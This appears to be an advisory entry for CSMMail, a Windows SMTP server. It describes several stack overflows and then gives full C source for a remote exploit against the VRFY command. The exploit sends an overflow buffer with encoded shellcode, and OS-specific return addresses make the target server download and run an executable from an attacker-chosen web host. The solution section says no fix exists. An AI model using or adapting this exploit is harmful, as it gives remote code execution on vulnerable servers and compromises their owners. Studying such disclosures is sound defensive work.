COMMAND

    CSMMail

SYSTEMS AFFECTED

    Win9x, NT

PROBLEM

    'pw' found following.   CSMMail is a  SMTP server for  win95/98/NT
    with features  that include  at least  five stack  overflows.   At
    least two of these allow remote execution of arbitrary code.   The
    first the overflow is found in the HELO command, there is also  an
    overflow in the MAIL FROM:  command, however, you'll be unable  to
    get either of these to return  to an arbitrary address.  The  next
    overflow found  was in  the VRFY  command, when  a long  string is
    used as  an argument  ("VRFY aaaaaaa....")  one can  overwrite the
    return address and force the  server to return to arbitrary  code.
    This is  the overflow  the following  exploit takes  advantage of.
    There is also  another buffer overflow  in the VRFY  command which
    happens  if  one  enters  "VRFY  aaaa@aaaaaaa......"  (not able to
    make this  return to  an arbitrary  address while  testing).   The
    RCPT TO: command  also has a  overflow in it  that can be  used to
    return to arbitrary code.   There are two main problems  which are
    run into when exploiting the first hole in the VRFY command.   The
    first one is trivial to get around.  If a "@" sign (40h) is  found
    on the buffer being copied  and the buffer is excessively  long it
    will not overflow  the buffer.   To get around  this we just  make
    sure 40h  is not  in our  code or  offseted addresses.   The  next
    problem stems from  the fact that  CSM Mail has  no DLL's of  it's
    own which are loaded in its  address space and it's Image Base  is
    00400000h.  Since  we will have  to include a  null to address  to
    any of CSMMail's code there is no sure way to return to our  code.
    To get around  this pw has  included multiple return  addresses in
    the  exploit  which  are  bound  directly  to the operating system
    version which CSM Mail is running under.  It is also worth  noting
    that two of  the arguments for  the function which  is having it's
    return address overwritten need to  be fixed up with a  valid read
    memory location in order to bypass page faults.  The exploit  that
    is included  below will  force CSMMail  to connect  to a specified
    web server and  download, save and  execute a file  from it.   The
    exploit should work  under x86 unix's  and x86 versions  of win32.
    By default  it is  set to  be compiled  under unix,  to compile it
    under win32 take out the  "#define UNIX."  [thanks to  Acpizer for
    porting this to win32 and determining the SP3 address values]

    #define UNIX

    #ifndef UNIX
     #include <stdio.h>
     #include <fcntl.h>
     #include <winsock.h>
     #include <io.h>
     #define CLOSE _close
     #define SLEEP Sleep

    #else
     #include <stdio.h>
     #include <unistd.h>
     #include <fcntl.h>
     #include <netdb.h>
     #include <netinet/in.h>
     #include <sys/socket.h>
     #include <arpa/inet.h>
     #define CLOSE close
     #define SLEEP sleep
    #endif

    /*
     CSMMail Exploit by _mcp_ <pw@nacs.net>
     Win32 port and sp3 address's by Acpizer <acpizer@unseen.org>

     Greets go out to the following people: Morpheus, Sizban, Rocket,
       Acpizer, Killspree, Ftz, Dregvant, Vio, Symbiont, Coolg, Henk, #finite
       and #win32asm.

     You can contact me by e-mail or on efnet.


     As always no greets go out to etl

    */


    const unsigned long FIXUP1 = 264;
    const unsigned long FIXUP2 = 268;
    const unsigned long OFFSET = 260;

    char code[] =
    "\xEB\x53\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
    "\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
    "\xEB\x37\x46\x58\xFF\xE0\x33\xDB\xB3\x48\xC1\xE3\x10\x66\xBB"
    "\x94\x62\x56\xFF\x13\x8B\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46"
    "\x83\xC0\x1\x3A\x6\x74\xDD\x56\x55\x33\xDB\xB3\x48\xC1\xE3"
    "\x10\x66\xBB\xB8\x62\xFF\x13\xAB\xEB\xDF\xEB\x4F\x33\xC9\x66"
    "\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8\x33"
    "\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51\x51"
    "\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83\xC6"
    "\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8\xFF"
    "\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF\x57"
    "\xF0\xE8\x59\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33\x1"
    "\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75\x66"
    "\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62\x6D"
    "\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1\x46"
    "\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A\x4F"
    "\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
    "\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71\x66"
    "\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x53"
    "\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B\x30"
    "\x30\x00";


	/*This is the encrypted /~pw/owned.exe we paste at the end */
    char dir[] =
    "\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";


    unsigned int getip(char *hostname)
      {
      struct hostent *hostinfo;
      unsigned int binip;

      hostinfo = gethostbyname(hostname);

      if(!hostinfo)
	{
	  printf("cant find: %s\n",hostname);
	  exit(0);
	}
    #ifndef UNIX
      memcpy((char  *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
    #else
      bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);
    #endif
      return(binip);
      }


    int usages(char *fname)
    {
	  printf("CSMMail Remote Buffer Overflow exploit v1.1 by _mcp_ <pw@nacs.net>.\n");
	  printf("Win32 porting and nt sp3 address's by Acpizer <acpizer@unseen.org>\n");
	  printf("Usages: \n");
	  printf("%s <target host> <www site> <fixup address> <return address>\n", fname);
	  printf("win98 SP1:\n");
	  printf("        <fixup address>  = 0xBFF78030\n");
	  printf("        <return address> = 0xBFF79243\n");
	  printf("NT SP3:\n");
	  printf("        <fixup address>  = 0x77EB14C0\n");
	  printf("        <return address> = 0x77E53FC7\n");
	  printf("NT SP4:\n");
	  printf("        <fixup address>  = 0x77EB14C0\n");
	  printf("        <return address> = 0x77E9A3A4\n");
	  printf("Will make <target host> running CSMMail download, save, and\n");
	  printf("execute http://<www site>/~pw/owned.exe\n");

    exit(0);

    }


    main (int argc, char *argv[])
    {
      int sock,targethost,sinlen;
      struct sockaddr_in sin;
      static unsigned char buffer[20000];
      unsigned char *ptr,*ptr2;
      unsigned long ret_addr;
      int len,x = 1;
      unsigned long rw_mem;


    #ifndef UNIX
      WORD wVersionRequested;
      WSADATA wsaData;
      int err;

      wVersionRequested = MAKEWORD( 2, 2 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if (err != 0) exit(1);
    #endif
      if (argc < 5) usages(argv[0]);


      targethost = getip(argv[1]);


       len = strlen(argv[2]);
	if (len > 60)
	 {
	   printf("Bad http format!\n");
	   usages(argv[0]);
	 }

       ptr = argv[2];
       while (x <= len)
	  {
	    x++;
	    (*ptr)++;           /*Encrypt the http ip for later parsing */
	    ptr++;
	  }

      if( (sscanf(argv[3],"0x%x",(unsigned long *) &rw_mem)) == 0)
	{
	  printf("Input Error, the fixup memory address has incorrect format\n");
	  exit(0);
	}
      if( (sscanf(argv[4],"0x%x",(unsigned long *) &ret_addr)) == 0)
	{
	  printf("Input error, the return address has incorrect format\n");
	  exit(0);
	}


      sock = socket(AF_INET,SOCK_STREAM,0);

      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = targethost;
      sin.sin_port = htons(25);
      sinlen = sizeof(sin);


      printf("Starting to create the egg\n");
      ptr = (char *)&buffer;
      strcpy(ptr,"VRFY ");
      ptr+=5;

      memset((void *)ptr, 0x90, 7000);

      ptr2=ptr;
      ptr2+=FIXUP1;
      memcpy((void *) ptr2,(void *) &rw_mem,4);
      ptr2=ptr;
      ptr2+=FIXUP2;
      memcpy((void *) ptr2,(void *) &rw_mem,4);

      ptr+=OFFSET;
      memcpy ((void *) ptr,(void *)&ret_addr, 4);
      ptr+=60;
      memcpy((void *) ptr,(void *)&code,strlen(code));


      (char *) ptr2 = strstr(ptr,"\xb1");
      if (ptr2 == NULL)
	 {
	   printf("Bad shell code\n");
	   exit(0);
	 }
      ptr2++;
      (*ptr2)+= len + ( sizeof(dir) - 1 );

       (char *) ptr2 = strstr(ptr,"\x83\xc6");
	 if (ptr2 == NULL)
	  {
	    printf("Bad shell code\n");
	    exit(0);

	  }

      ptr2+= 2;

      (*ptr2)+= len + 8;

      ptr+=strlen(code);
      memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
      site's info */
      ptr+=len;
      memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
      printf("Made the egg\n");

	if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
	 {
	   perror("error:");
	   exit(0);
	 }
	printf("Connected.\n");

    #ifndef UNIX
	    send(sock, "HELO lamer.com\r\n",16, 0);
	    send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
	    send(sock,"\r\n",2,0);
    #else
	write(sock, "HELO lamer.com\r\n",16);
	write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
    *)&buffer */
	write(sock,"\r\n",2);
    #endif
	SLEEP(1);
	printf("Sent the egg\n");
    #ifndef UNIX
      WSACleanup();
    #endif
	CLOSE(sock);
       exit(1);
    }

SOLUTION

    Nothing yet.